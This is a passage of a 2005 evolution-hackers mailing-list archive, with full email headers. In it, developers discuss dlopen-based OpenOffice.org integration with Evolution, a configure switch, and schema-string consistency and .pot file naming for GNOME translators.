(GNU/Linux) iD8DBQBCAT473CryLfCgqRkRAvckAKCIyohnOD00XHyvCfhuz+6C0SqASgCfQ7of n3ZnxcSEFk9ygt79RRpmqt8= =EPHO -----END PGP SIGNATURE----- --nextPart2248404.zFpTrKgvHN-- From owner-evolution-hackers@skeptopotamus.ximian.com Thu Feb 3 09:45:32 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 0A515124BAA; Thu, 3 Feb 2005 09:45:31 -0500 (EST) Received: from skeptopotamus.ximian.com (skeptopotamus.ximian.com [130.57.169.16]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "mail.cam.novell.com", Issuer "Equifax" (not verified)) by lists.ximian.com (Postfix) with ESMTP id 6C052125166 for ; Thu, 3 Feb 2005 09:44:17 -0500 (EST) Received: by skeptopotamus.ximian.com (Postfix) id E49ED64840; Thu, 3 Feb 2005 09:43:11 -0500 (EST) Delivered-To: evolution-hackers@ximian.com Received: from brmea-mail-3.sun.com (brmea-mail-3.Sun.COM [192.18.98.34]) by skeptopotamus.ximian.com (Postfix) with ESMTP id A6A0764832 for ; Thu, 3 Feb 2005 09:43:11 -0500 (EST) Received: from phys-mayi-1 ([129.157.128.114]) by brmea-mail-3.sun.com (8.12.10/8.12.9) with ESMTP id j13Eh9W2013582 for ; Thu, 3 Feb 2005 07:43:11 -0700 (MST) Received: from conversion-daemon.mayi-mail1.germany.sun.com by mayi-mail1.germany.sun.com (iPlanet Messaging Server 5.2 HotFix 1.24 (built Dec 19 2003)) id <0IBC00L01BDKN6@mayi-mail1.germany.sun.com> (original mail from Frank.Schoenheit@Sun.COM) for evolution-hackers@ximian.com; Thu, 03 Feb 2005 15:43:09 +0100 (MET) Received: from [129.157.136.31] (sr-eham02-02.Germany.Sun.COM [129.157.136.31]) by mayi-mail1.germany.sun.com (iPlanet Messaging Server 5.2 HotFix 1.24 (built Dec 19 2003)) with ESMTPA id <0IBC0044IBJWED@mayi-mail1.germany.sun.com>; Thu, 03 Feb 2005 15:43:09 +0100 (MET) Date: Thu, 03 Feb 2005 16:43:08 +0200 From: =?ISO-8859-1?Q?Frank_Sch=F6nheit?= In-reply-to: <1107254982.12881.18.camel@linux.site> To: michael.meeks@novell.com Cc: Jayant Balraj Madavi , JP Rosevear , evolution Message-id: <4202387C.2010907@sun.com> MIME-version: 1.0 Content-type: text/plain; charset=ISO-8859-1 Content-transfer-encoding: 8BIT X-Accept-Language: en-us, en User-Agent: Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.7.3) Gecko/20040919 References: <1106914234.16399.349.camel@linux.site> <41FE3664.5030401@sun.com> <1107254982.12881.18.camel@linux.site> X-Spam-Status: No, hits=-20.3 required=5.0 tests=BAYES_30,IN_REP_TO,QUOTED_EMAIL_TEXT,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM,REFERENCES,REPLY_WITH_QUOTES, USER_AGENT_MOZILLA_UA autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Subject: [Evolution-hackers] Re: dlopen / API hooks for evolution ... Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: Hi Michael, > I suggest we make it easy to disable the evoution2.0 integration, and > have it default disabled in the build until such time as you want it > built & can be bothered to do this extra, unpleasant work. I talked with again with RE, and it seems we had a misunderstanding (cause by my ignorance/nescience :-\ ). I think the solution with adding a switch to enable/disable the feature is fine, you should just ensure that it follows the usual mechanisms, i.e. create a configure switch, and check the availability of the pre-requisites during configure. Thanks & Ciao Frank -- - Frank Schönheit, Software Engineer frank.schoenheit@sun.com - - Sun Microsystems, Inc. http://www.sun.com - - OpenOffice.org Database Access http://dba.openoffice.org - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - From owner-evolution-hackers@skeptopotamus.ximian.com Thu Feb 3 23:52:05 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 296541240E5; Thu, 3 Feb 2005 23:52:05 -0500 (EST) Received: from skeptopotamus.ximian.com (skeptopotamus.ximian.com [130.57.169.16]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "mail.cam.novell.com", Issuer "Equifax" (not verified)) by lists.ximian.com (Postfix) with ESMTP id AD90D12468D for ; Thu, 3 Feb 2005 23:51:53 -0500 (EST) Received: by skeptopotamus.ximian.com (Postfix) id 73E5263070; Thu, 3 Feb 2005 23:51:53 -0500 (EST) Delivered-To: evolution-hackers@ximian.com Received: from BLR-DSMASTER.BLR.NOVELL.COM (unknown [202.144.86.147]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "blr-dsmaster", Issuer "ISPORTAL" (not verified)) by skeptopotamus.ximian.com (Postfix) with ESMTP id F0C7E630BF for ; Thu, 3 Feb 2005 23:51:51 -0500 (EST) Received: from [164.99.152.104] (linux00065b7dc215.blr.novell.com [164.99.152.104]) by BLR-DSMASTER.BLR.NOVELL.COM; Fri, 04 Feb 2005 10:21:30 +0530 From: jayant M To: michael.meeks@novell.com Cc: Frank =?ISO-8859-1?Q?Sch=F6nheit?= , JP Rosevear , evolution In-Reply-To: <4202387C.2010907@sun.com> References: <1106914234.16399.349.camel@linux.site> <41FE3664.5030401@sun.com> <1107254982.12881.18.camel@linux.site> <4202387C.2010907@sun.com> Content-Type: text/plain; charset=UTF-8 Date: Fri, 04 Feb 2005 10:18:59 +0530 Message-Id: <1107492539.21175.16.camel@linux.site> Mime-Version: 1.0 X-Mailer: Evolution 1.5.94.1 Content-Transfer-Encoding: 8bit X-Spam-Status: No, hits=-21.1 required=5.0 tests=BAYES_30,EMAIL_ATTRIBUTION,IN_REP_TO,QUOTED_EMAIL_TEXT, QUOTE_TWICE_1,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM, REFERENCES,REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Subject: [Evolution-hackers] Re: dlopen / API hooks for evolution ... Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: Hi Michael, On Thu, 2005-02-03 at 16:43 +0200, Frank Schönheit wrote: > Hi Michael, > > > I suggest we make it easy to disable the evoution2.0 integration, and > > have it default disabled in the build until such time as you want it > > built & can be bothered to do this extra, unpleasant work. > > I talked with again with RE, and it seems we had a misunderstanding > (cause by my ignorance/nescience :-\ ). I think the solution with adding > a switch to enable/disable the feature is fine, you should just ensure > that it follows the usual mechanisms, i.e. create a configure switch, > and check the availability of the pre-requisites during configure. We had earlier created "dlopen hack" for evo-lib dependancy. Can we remove it now!! Having a configure switch is clean. > > Thanks & Ciao > Frank > Regards, Jayant. From jpr@novell.com Fri Feb 4 15:39:19 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id F022C124903; Fri, 4 Feb 2005 15:39:19 -0500 (EST) Received: from lyle.provo.novell.com (lyle.provo.novell.com [137.65.81.174]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "imap.novell.com", Issuer "SERVICES2" (not verified)) by lists.ximian.com (Postfix) with ESMTP id 4E7EF124D3E for ; Fri, 4 Feb 2005 15:39:08 -0500 (EST) Received: from [192.168.1.15] ([137.65.81.216]) by lyle.provo.novell.com; Fri, 04 Feb 2005 13:38:51 -0700 From: JP Rosevear To: Evolution Hackers mailing list Cc: Gnome-i18n@gnome.org Content-Type: text/plain Date: Fri, 04 Feb 2005 12:27:52 -0500 Message-Id: <1107538072.7848.26.camel@bishop.rosevear.com> Mime-Version: 1.0 X-Mailer: Evolution 2.1.4 Content-Transfer-Encoding: 7bit X-Spam-Status: Yes, hits=8.5 required=5.0 tests=BAYES_60,DATE_IN_PAST_03_06,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM version=2.53 X-Spam-Level: ******** X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) X-Spam-Report: X-Spam-Flag: YES Subject: [Evolution-hackers] Schema file issues Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: When looking at 61075 I noticed some inconsistency/issues with our schema files. I also looked at how we compared to the "de facto" style guide in: http://mail.gnome.org/archives/gnome-i18n/2003-July/msg00076.html Our long descriptions generally end in periods. Literal values are sometimes in quotes (but not always, useful tweak since the translators official guide actually says not to translate those quoted values for schemas). The descriptions all begin capitalized, but captalization after the first word is sometimes inconsistent (mostly we use lower case after the first word). We don't match the terminology in the UI in some cases, mostly it appears to be a legacy thing where we matched the description to the key name instead (which may or may not match the UI now). We use "If" in a couple places and "Whether" in more and for a lot of booleans we use neither. So, my original task morphed somewhat and I ended up tidying up the contacts, calendar and shell schema files (and cropped up some additional issues below), I started on the mailer but it has more than the other three combined so I started to get worried about the number of string changes this might involve total, so I'm CC'ing the gnome-i18n team as well. Comments? There are also some dead keys in some of the files that we only use when migrating now. I think removing them from the schema is not an issue, anyone think otherwise (/apps/evolution/shell/offline/folder_paths is an example). There are also 3 autocompletion schema entries in the addressbook schema file. I suspect we actually might want these in libedataserverui. Not sure where the keys should live (one key is actually dead other than for migration actually). Also, unless anyone objects, I'm going to make evolution-mail.schemas.in.in be consistent with the other schema file namings in the source tree. -JP -- JP Rosevear From notzed@ximian.com Fri Feb 4 20:15:20 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 6AFE5124A5B; Fri, 4 Feb 2005 20:15:20 -0500 (EST) Received: from peabody.ximian.com (peabody.ximian.com [130.57.169.10]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id 0AD01124408 for ; Fri, 4 Feb 2005 20:15:09 -0500 (EST) Received: (qmail 26122 invoked from network); 5 Feb 2005 01:15:07 -0000 Received: from localhost (HELO ?192.168.0.100?) (127.0.0.1) by localhost with SMTP; 5 Feb 2005 01:15:07 -0000 Subject: Re: [Evolution-hackers] Schema file issues From: Not Zed To: JP Rosevear Cc: Evolution Hackers mailing list , Gnome-i18n@gnome.org In-Reply-To: <1107538072.7848.26.camel@bishop.rosevear.com> References: <1107538072.7848.26.camel@bishop.rosevear.com> Content-Type: multipart/alternative; boundary="=-DZSYS1RAtvJmTgWFgiS+" Date: Sat, 05 Feb 2005 09:10:03 +0800 Message-Id: <1107565803.26413.16.camel@lostzed.mmc.com.au> Mime-Version: 1.0 X-Mailer: Evolution 2.1.3.2 X-Spam-Status: No, hits=-17.3 required=5.0 tests=EMAIL_ATTRIBUTION,HTML_20_30,IN_REP_TO,QUOTED_EMAIL_TEXT, RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM,REFERENCES, REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-DZSYS1RAtvJmTgWFgiS+ Content-Type: text/plain Content-Transfer-Encoding: 7bit My opinion is 'who cares', its only for the registry editor, which shouldn't ever be being used anyway, if all things are working properly. On Fri, 2005-02-04 at 12:27 -0500, JP Rosevear wrote: > When looking at 61075 I noticed some inconsistency/issues with our > schema files. I also looked at how we compared to the "de facto" style > guide in: > http://mail.gnome.org/archives/gnome-i18n/2003-July/msg00076.html > > Our long descriptions generally end in periods. Literal values are > sometimes in quotes (but not always, useful tweak since the translators > official guide actually says not to translate those quoted values for > schemas). The descriptions all begin capitalized, but captalization > after the first word is sometimes inconsistent (mostly we use lower case > after the first word). We don't match the terminology in the UI in some > cases, mostly it appears to be a legacy thing where we matched the > description to the key name instead (which may or may not match the UI > now). We use "If" in a couple places and "Whether" in more and for a > lot of booleans we use neither. > > So, my original task morphed somewhat and I ended up tidying up the > contacts, calendar and shell schema files (and cropped up some > additional issues below), I started on the mailer but it has more than > the other three combined so I started to get worried about the number of > string changes this might involve total, so I'm CC'ing the gnome-i18n > team as well. > > Comments? > > There are also some dead keys in some of the files that we only use when > migrating now. I think removing them from the schema is not an issue, > anyone think otherwise (/apps/evolution/shell/offline/folder_paths is an > example). > > There are also 3 autocompletion schema entries in the addressbook schema > file. I suspect we actually might want these in libedataserverui. Not > sure where the keys should live (one key is actually dead other than for > migration actually). > > Also, unless anyone objects, I'm going to make > evolution-mail.schemas.in.in be consistent with the other schema file > namings in the source tree. > > -JP --=-DZSYS1RAtvJmTgWFgiS+ Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: 7bit
My opinion is 'who cares', its only for the registry editor, which shouldn't ever be being used anyway, if all things are working properly.


On Fri, 2005-02-04 at 12:27 -0500, JP Rosevear wrote: 
When looking at 61075 I noticed some inconsistency/issues with our
schema files.  I also looked at how we compared to the "de facto" style
guide in:
http://mail.gnome.org/archives/gnome-i18n/2003-July/msg00076.html

Our long descriptions generally end in periods.  Literal values are
sometimes in quotes (but not always, useful tweak since the translators
official guide actually says not to translate those quoted values for
schemas).  The descriptions all begin capitalized, but captalization
after the first word is sometimes inconsistent (mostly we use lower case
after the first word).  We don't match the terminology in the UI in some
cases, mostly it appears to be a legacy thing where we matched the
description to the key name instead (which may or may not match the UI
now).  We use "If" in a couple places and "Whether" in more and for a
lot of booleans we use neither.

So, my original task morphed somewhat and I ended up tidying up the
contacts, calendar and shell schema files (and cropped up some
additional issues below), I started on the mailer but it has more than
the other three combined so I started to get worried about the number of
string changes this might involve total, so I'm CC'ing the gnome-i18n
team as well.

Comments?

There are also some dead keys in some of the files that we only use when
migrating now.  I think removing them from the schema is not an issue,
anyone think otherwise (/apps/evolution/shell/offline/folder_paths is an
example).

There are also 3 autocompletion schema entries in the addressbook schema
file.  I suspect we actually might want these in libedataserverui.  Not
sure where the keys should live (one key is actually dead other than for
migration actually).

Also, unless anyone objects, I'm going to make
evolution-mail.schemas.in.in be consistent with the other schema file
namings in the source tree.

-JP
--=-DZSYS1RAtvJmTgWFgiS+-- From owner-evolution-hackers@skeptopotamus.ximian.com Fri Feb 4 03:50:05 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 2F1511241AD; Fri, 4 Feb 2005 03:50:04 -0500 (EST) Received: from skeptopotamus.ximian.com (skeptopotamus.ximian.com [130.57.169.16]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "mail.cam.novell.com", Issuer "Equifax" (not verified)) by lists.ximian.com (Postfix) with ESMTP id 20D16124192 for ; Fri, 4 Feb 2005 03:49:53 -0500 (EST) Received: by skeptopotamus.ximian.com (Postfix) id EF28664648; Fri, 4 Feb 2005 03:40:05 -0500 (EST) Delivered-To: evolution-hackers@ximian.com Received: from brmea-mail-3.sun.com (brmea-mail-3.Sun.COM [192.18.98.34]) by skeptopotamus.ximian.com (Postfix) with ESMTP id C2C2264647 for ; Fri, 4 Feb 2005 03:40:05 -0500 (EST) Received: from phys-mayi-1 ([129.157.128.114]) by brmea-mail-3.sun.com (8.12.10/8.12.9) with ESMTP id j148e2W6019822 for ; Fri, 4 Feb 2005 01:40:05 -0700 (MST) Received: from conversion-daemon.mayi-mail1.germany.sun.com by mayi-mail1.germany.sun.com (iPlanet Messaging Server 5.2 HotFix 1.24 (built Dec 19 2003)) id <0IBD00801P8N6R@mayi-mail1.germany.sun.com> (original mail from Frank.Schoenheit@Sun.COM) for evolution-hackers@ximian.com; Fri, 04 Feb 2005 09:40:02 +0100 (MET) Received: from [129.157.136.31] (sr-eham02-02.Germany.Sun.COM [129.157.136.31]) by mayi-mail1.germany.sun.com (iPlanet Messaging Server 5.2 HotFix 1.24 (built Dec 19 2003)) with ESMTPA id <0IBD00BZVPEQFA@mayi-mail1.germany.sun.com>; Fri, 04 Feb 2005 09:40:02 +0100 (MET) Date: Fri, 04 Feb 2005 10:40:02 +0200 From: =?UTF-8?B?IkZyYW5rIFNjaMO2bmhlaXQgLSBTdW4gTWljcm9zeXN0ZW1zLCBJbmMuIg==?= In-reply-to: <1107492539.21175.16.camel@linux.site> To: jayant M Cc: michael.meeks@novell.com, JP Rosevear , evolution Message-id: <420334E2.1010806@sun.com> MIME-version: 1.0 Content-type: text/plain; charset=UTF-8 Content-transfer-encoding: 8BIT X-Accept-Language: en-us, en User-Agent: Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.7.3) Gecko/20040919 References: <1106914234.16399.349.camel@linux.site> <41FE3664.5030401@sun.com> <1107254982.12881.18.camel@linux.site> <4202387C.2010907@sun.com> <1107492539.21175.16.camel@linux.site> X-Spam-Status: No, hits=-16.5 required=5.0 tests=BAYES_70,IN_REP_TO,QUOTED_EMAIL_TEXT,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM,REFERENCES,REPLY_WITH_QUOTES, USER_AGENT_MOZILLA_UA autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Subject: [Evolution-hackers] Re: dlopen / API hooks for evolution ... Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: Hi Jayant, > We had earlier created "dlopen hack" for evo-lib dependancy. Can we > remove it now!! For the evo-lib, I don't consider usage of dlopen a hack. This is because for a given system, it's more likely for glib to be present than the evo lib. If we link the driver against the evo lib, then there is no diagnostics possibility on a system without evo, since the driver will simply not load at runtime. If we don't link against the evo lib, then the driver can at least be loaded, and has more possiblities to give the user a reasonable feedback when she attempts a connection. To the user, this might be the difference between "Evolution does not appear in the UI at all, so I don't even know about it", and "when I select Evolution, it gives me a message like 'No suitable Evolution version was found'". This may not sounds too much, but personally I'd consider it worth it :) (the more since the code is already there now.) Not to mention that before glibc 2.2.5, there's a bug in the library loader which causes subsequent calls to dlopen to *crash*, if you had one call which failed. So the more likely any library fails to load, the more likely OOo will crash a minute later. Ciao Frank -- - Frank Schönheit, Software Engineer frank.schoenheit@sun.com - - Sun Microsystems, Inc. http://www.sun.com - - OpenOffice.org Database Access http://dba.openoffice.org - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - From danilo@gnome.org Fri Feb 4 16:58:25 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id ECE07124A00; Fri, 4 Feb 2005 16:58:24 -0500 (EST) Received: from avet.kvota.net (unknown [147.91.15.35]) by lists.ximian.com (Postfix) with ESMTP id 6BB6E124D57 for ; Fri, 4 Feb 2005 16:58:12 -0500 (EST) Received: by avet.kvota.net (Postfix, from userid 1000) id 5E3E07CDDA; Fri, 4 Feb 2005 23:00:18 +0100 (CET) To: JP Rosevear Cc: Evolution Hackers mailing list , Gnome-i18n@gnome.org References: <1107538072.7848.26.camel@bishop.rosevear.com> From: danilo@gnome.org (=?utf-8?q?Danilo_=C5=A0egan?=) Mail-Followup-To: JP Rosevear , Evolution Hackers mailing list , Gnome-i18n@gnome.org Date: Fri, 04 Feb 2005 23:00:18 +0100 In-Reply-To: <1107538072.7848.26.camel@bishop.rosevear.com> (JP Rosevear's message of "Fri, 04 Feb 2005 12:27:52 -0500") Message-ID: <874qgsyoi5.fsf@avet.kvota.net> User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Status: No, hits=-24.0 required=5.0 tests=BAYES_60,EMAIL_ATTRIBUTION,IN_REP_TO,QUOTED_EMAIL_TEXT, RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM,REFERENCES, REPLY_WITH_QUOTES,USER_AGENT_GNUS_UA autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Subject: [Evolution-hackers] Re: Schema file issues Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: Hi, Today at 18:27, JP Rosevear wrote: > So, my original task morphed somewhat and I ended up tidying up the > contacts, calendar and shell schema files (and cropped up some > additional issues below), I started on the mailer but it has more than > the other three combined so I started to get worried about the number of > string changes this might involve total, so I'm CC'ing the gnome-i18n > team as well. I feel if these are going to go in, they should go in now. Freeze is there for translators, but before the freeze, all changes are welcome unless they unnecessarily burden some teams. Consistency is what translators very much prefer, so it's better done now than later forgotten. According to last update, we also have problems updating evolution POT files in our stats, so that may be of bigger influence than these changes (depending on how long this is the case). This might be only GTP's problem (i.e. wrong POT filename listed in cvs.gnome.org:gnome-i18n/status/data/translation-status.xml), but it might be a problem in Evolution itself. According to http://l10n-status.gnome.org/gnome-2.10/nds_DE/desktop/index.html there're problems in all of evolution, e-d-s and evolution-exchange. So, you have my support, if that's of any significance. Of course, I hope the extent of the changes is not such as to make Evolution completely untranslated, because it's still one of the biggest modules in Gnome :) Cheers, Danilo From carlos@gnome.org Fri Feb 4 17:36:58 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 91566124863; Fri, 4 Feb 2005 17:36:58 -0500 (EST) Received: from gandalf.pemas.net (gandalf.pemas.net [207.150.166.132]) by lists.ximian.com (Postfix) with ESMTP id 33F1C124739 for ; Fri, 4 Feb 2005 17:36:46 -0500 (EST) Received: from gollum.pemas.net (69.Red-80-33-181.pooles.rima-tde.net [80.33.181.69]) by gandalf.pemas.net (Postfix) with ESMTP id ED8FD4D9A1; Fri, 4 Feb 2005 23:36:43 +0100 (CET) Received: from localhost (localhost [127.0.0.1]) by gollum.pemas.net (Postfix) with ESMTP id 272E9C; Fri, 4 Feb 2005 23:36:43 +0100 (CET) Received: from gollum.pemas.net ([127.0.0.1]) by localhost (Gollum [127.0.0.1]) (amavisd-new, port 10024) with SMTP id 26404-02; Fri, 4 Feb 2005 23:36:39 +0100 (CET) Received: from [192.168.0.12] (unknown [192.168.0.1]) by gollum.pemas.net (Postfix) with ESMTP id D6417B; Fri, 4 Feb 2005 23:36:39 +0100 (CET) From: Carlos =?ISO-8859-1?Q?Perell=F3_Mar=EDn?= To: Danilo =?iso-8859-2?Q?=A9egan?= Cc: gnome-i18n@gnome.org, Evolution Hackers mailing list , JP Rosevear In-Reply-To: <874qgsyoi5.fsf@avet.kvota.net> References: <1107538072.7848.26.camel@bishop.rosevear.com> <874qgsyoi5.fsf@avet.kvota.net> Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-1HV4FwnpXb2/Ictj2EwB" Organization: GNOME Foundation Date: Fri, 04 Feb 2005 23:36:31 +0100 Message-Id: <1107556591.13976.15.camel@localhost.localdomain> Mime-Version: 1.0 X-Mailer: Evolution 2.1.4 X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at pemas.net X-Spam-Status: No, hits=-25.8 required=5.0 tests=EMAIL_ATTRIBUTION,IN_REP_TO,PGP_SIGNATURE_2, QUOTED_EMAIL_TEXT,QUOTE_TWICE_1,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM,REFERENCES,REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Subject: [Evolution-hackers] Re: Schema file issues Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-1HV4FwnpXb2/Ictj2EwB Content-Type: text/plain; charset=ISO-8859-15 Content-Transfer-Encoding: quoted-printable On Fri, 2005-02-04 at 23:00 +0100, Danilo =A6egan wrote: > Hi, >=20 Hi [...] > According to last update, we also have problems updating evolution POT=20 > files in our stats, so that may be of bigger influence than these=20 > changes (depending on how long this is the case). >=20 > This might be only GTP's problem (i.e. wrong POT filename listed in > cvs.gnome.org:gnome-i18n/status/data/translation-status.xml), but it > might be a problem in Evolution itself. According to=20 > http://l10n-status.gnome.org/gnome-2.10/nds_DE/desktop/index.html > there're problems in all of evolution, e-d-s and evolution-exchange. Evolution's .pot file is called now evolution-2.2.pot instead of evolution-2.0.pot That's the problem. Sorry for the delay but I'm with final exams :-( Cheers. >=20 >=20 > So, you have my support, if that's of any significance. Of course, I > hope the extent of the changes is not such as to make Evolution > completely untranslated, because it's still one of the biggest modules > in Gnome :) >=20 > Cheers, > Danilo > _______________________________________________ > gnome-i18n mailing list > gnome-i18n@gnome.org > http://mail.gnome.org/mailman/listinfo/gnome-i18n --=20 Carlos Perell=F3 Mar=EDn Ubuntu Warty (PowerPC) =3D> http://www.ubuntulinux.org Linux Registered User #121232 mailto:carlos@pemas.net || mailto:carlos@gnome.org http://carlos.pemas.net Valencia - Spain --=-1HV4FwnpXb2/Ictj2EwB Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.5 (GNU/Linux) iD8DBQBCA/jvEuPMamD5V9cRAsWKAJ9LioW9S8arvVYjKUY5ZNYckli6PwCdHqQm CAqvzuNu+Lq2aqYRkdI9uG0= =UO7T -----END PGP SIGNATURE----- --=-1HV4FwnpXb2/Ictj2EwB-- From danilo@gnome.org Fri Feb 4 23:03:56 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id D3A981241BC; Fri, 4 Feb 2005 23:03:56 -0500 (EST) Received: from avet.kvota.net (unknown [147.91.15.35]) by lists.ximian.com (Postfix) with ESMTP id 0E42E124172 for ; Fri, 4 Feb 2005 23:03:45 -0500 (EST) Received: by avet.kvota.net (Postfix, from userid 1000) id 9B19E7CDDA; Sat, 5 Feb 2005 05:05:54 +0100 (CET) To: =?utf-8?q?Carlos_Perell=C3=B3_Mar=C3=ADn?= Cc: gnome-i18n@gnome.org, JP Rosevear , Evolution Hackers mailing list References: <1107538072.7848.26.camel@bishop.rosevear.com> <874qgsyoi5.fsf@avet.kvota.net> <1107556591.13976.15.camel@localhost.localdomain> From: danilo@gnome.org (=?utf-8?q?Danilo_=C5=A0egan?=) Mail-Followup-To: =?utf-8?q?Carlos_Perell=C3=B3_Mar=C3=ADn?= , gnome-i18n@gnome.org, JP Rosevear , Evolution Hackers mailing list Date: Sat, 05 Feb 2005 05:05:54 +0100 In-Reply-To: <1107556591.13976.15.camel@localhost.localdomain> ( =?utf-8?q?Carlos_Perell=C3=B3_Mar=C3=ADn's_message_of?= "Fri, 04 Feb 2005 23:36:31 +0100") Message-ID: <87zmyjy7kt.fsf@avet.kvota.net> User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable X-Spam-Status: No, hits=-22.3 required=5.0 tests=BAYES_90,EMAIL_ATTRIBUTION,IN_REP_TO,QUOTED_EMAIL_TEXT, RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM,REFERENCES, REPLY_WITH_QUOTES,USER_AGENT_GNUS_UA autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Subject: [Evolution-hackers] Re: Schema file issues Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: Hi Carlos, Yesterday at 23:36, Carlos Perell=C3=B3 Mar=C3=ADn wrote: > Evolution's .pot file is called now evolution-2.2.pot instead of > evolution-2.0.pot > > That's the problem. > > Sorry for the delay but I'm with final exams :-( No need to apologize. I'm myself able to check and correct this, but I also lacked the time. So actually, THANK YOU for looking into it!=20 Cheers, Danilo From jpr@novell.com Mon Feb 7 01:30:47 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 7E2381241B8; Mon, 7 Feb 2005 01:30:47 -0500 (EST) Received: from s-utl01-slpop.stsn.com (s-utl01-slpop.stsn.com [12.168.96.11]) by lists.ximian.com (Postfix) with SMTP id E1898124398 for ; Mon, 7 Feb 2005 01:30:35 -0500 (EST) Received: from slpop.smtp.stsn.com ([127.0.0.1]) by s-utl01-slpop.stsn.com (SAVSMTP 3.1.0.29) with SMTP id M2005020623303006398 for ; Sun, 06 Feb 2005 23:30:30 -0700 Received: from [192.168.1.15] 